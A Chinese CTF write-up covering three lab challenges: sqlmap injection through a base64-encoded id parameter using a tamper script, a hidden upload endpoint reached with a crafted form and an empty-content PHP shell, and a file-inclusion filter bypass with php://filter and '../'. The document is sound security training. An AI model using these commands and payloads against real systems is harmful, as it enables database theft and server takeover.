1. 程式人生 > >CTF考核writeup(1)

CTF考核writeup(1)

在sql注入、檔案上傳和檔案包含問題上,可以學到一些新思路。

sql注入

觀察題目連結,很明顯,存在注入的是id。於是利用sqlmap驗證,但sqlmap的結果卻是“not injectble”:

注意到連結中id值是‘MQ==’。明顯引數是經過base64編碼的,解碼後值為‘1’。

sqlmap中內建了base64編碼指令碼:

sqlmap -u “http://xxx/index.php?id=1” - -tamper base64encode.py - -current-db

發現確實是存在注入的。

接下來用sqlmap,按套路猜解,即可在flag表中找到flag。

選擇一個數據庫猜表
sqlmap.
py -u "--" -D demo --tables 選擇一個表猜列 sqlmap.py -u "--" -D demo -T flag --columns 根據列猜資料 sqlmap.py -u "--" -D demo -T flag -C value --dump

關鍵在於引數被base64編碼。tamper目錄中各種指令碼還是很多的。

檔案上傳

檢視題目,沒有找到上傳點。

掃了一下目錄,發現/upload,看這目錄名,一會兒上傳的話應該是要傳到這個目錄下的。

首先想到是不是可以用PUT+COPY,嘗試後發現被禁了。

OPTIONS / HTTP/1.1 
User-Agent: xxxx
Host:
xxxx Accept: */*
PUT /test.txt HTTP/1.1
User-Agent: xxxx
Host: xxxx
Accept: */*

既然沒有上傳點,於是自行構造一個form表單。將action指向upload.php。這裡還得要猜對name的值為file。再嘗試從本地表單上傳jpg檔案,提交成功,表明此處確實有上傳功能。這時會發現一個問題,不知道檔案被傳到哪兒了。所以在表單中新增一個隱藏域,將“dir”指定為“/upload/”。

<form action="http://--/upload.php" method="post" enctype= "multipart/form-data"
> <input type="file" name="file" /></p> <input type="hidden" name="dir" value="/upload/"> <input type="submit"/> </form>

再次上傳jpg檔案,成功上傳到/upload目錄下。接下來開始考慮上傳phpshell。

嘗試00截斷,失敗。後來發現內容為空的時候直接上傳php檔案竟然成功了。

訪問,即可回顯flag。

檔案包含

首先嚐試能否讀上級目錄,發現./被過濾為malicious parameter,而/../沒有被過濾,所以檢測的只是開頭有沒有.。

這種情況下,利用php偽協議filter,成功包含檔案,讀取flag。

php://filter/resource=../flag